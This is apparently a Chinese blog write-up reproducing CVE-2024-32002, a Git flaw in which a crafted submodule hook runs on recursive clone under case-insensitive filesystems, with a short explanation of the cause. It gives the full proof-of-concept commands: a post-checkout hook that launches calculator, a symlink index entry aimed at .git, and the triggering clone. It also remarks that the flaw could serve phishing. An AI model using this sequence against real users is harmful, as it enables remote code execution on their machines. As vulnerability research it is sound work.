cve-2024-32002复现

参考文章

原文:https://amalmurali.me/posts/git-rce/

https://forum.butian.net/share/3040

https://xz.aliyun.com/t/14597

概述

Git更新内容,开发人员提供了漏洞验证poc。

原文有大佬分析过程,这里只说一下大概的推测。git可以通过--recursive递归加载子模块,包含了子模块钩子脚本,如果添加索引的时候对路径做一些变化,在特定系统下会把子模块的钩子脚本当成主仓库的钩子脚本执行。如果主仓库是被信任的,子模块未必,就会造成rce。

复现

跟着poc走,分别创建了两个仓库hook和captain

#初始化hook仓库
git init hook
cd hook
mkdir -p y/hooks

#写入恶意代码到y/hooks/post-checkout中
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "amal_was_here" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

#给钩子脚本添加权限
chmod +x y/hooks/post-checkout

#添加到本地仓库
git add y/hooks/post-checkout
git commit -m "post-checkout"

复现的时候我把仓库直接发到远程了

git push .

在这里插入图片描述

创建第主仓库并把刚才push的hook仓库作为子模块加进来

git init captain
cd captain

#直接加载远程仓库的子模块省事很多,不然还要改.gitmodule
git submodule add --name x/y http://github.com/kjdfklha/hook.git A/modules/x
git commit -m "add-submodule"

添加进来之后添加错误的索引

printf ".git" > a
git hash-object -w --stdin < a > a.hash
printf "120000 %s 0\ta\n" "$(cat a.hash)" > index.info
git update-index --index-info < index.info

#这里有个坑,主仓库索引配置好之后不能git add .,只能git add .gitmodule
#如果git add .发到远程仓库的a文件会直接把钩子脚本的内容加载过来,而不是.git,参考下图
git commit -m "add-symlink"

在这里插入图片描述
在这里插入图片描述

到这里基本上就结束了,通过payload可以看到写在钩子脚本中的calc.exe被执行了

git clone --recursive https://github.com/kjdfklha/captain.git hooked

在这里插入图片描述

原理分析

看了好几篇文章都没太把原理看明白,个人总结,如果有错误请师傅指出

Linux下加载子模块的时候的路径是A/modules/x,也就是会把hook的钩子脚本放到该路径下

在这里插入图片描述

在Windows下,由于不区分大小写,会把子模块的钩子脚本放到a/modules/x,由于构造了恶意索引,a指向的实际上是主仓库的.git目录,也就是子模块的钩子脚本被拿来当作主仓库的钩子脚本执行了

在这里插入图片描述

总结

这个漏洞虽然是rce,但是有利用门槛,需要使用递归--recersive,并且据说需要管理员权限。但是如果社工得当,或者在一些必要递归克隆,并且代码确实需要administrator权限运行的情况下拿来钓鱼也未尝不可。

从来没用github上传过属于自己的代码,只有下载,只会使用git clone,经过对这个漏洞的分析,对github使用有了一定程度的了解。

水平不行,原文大佬从审计git源码,到复现也就花了半个小时,我却花了两天,还需要多多努力。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值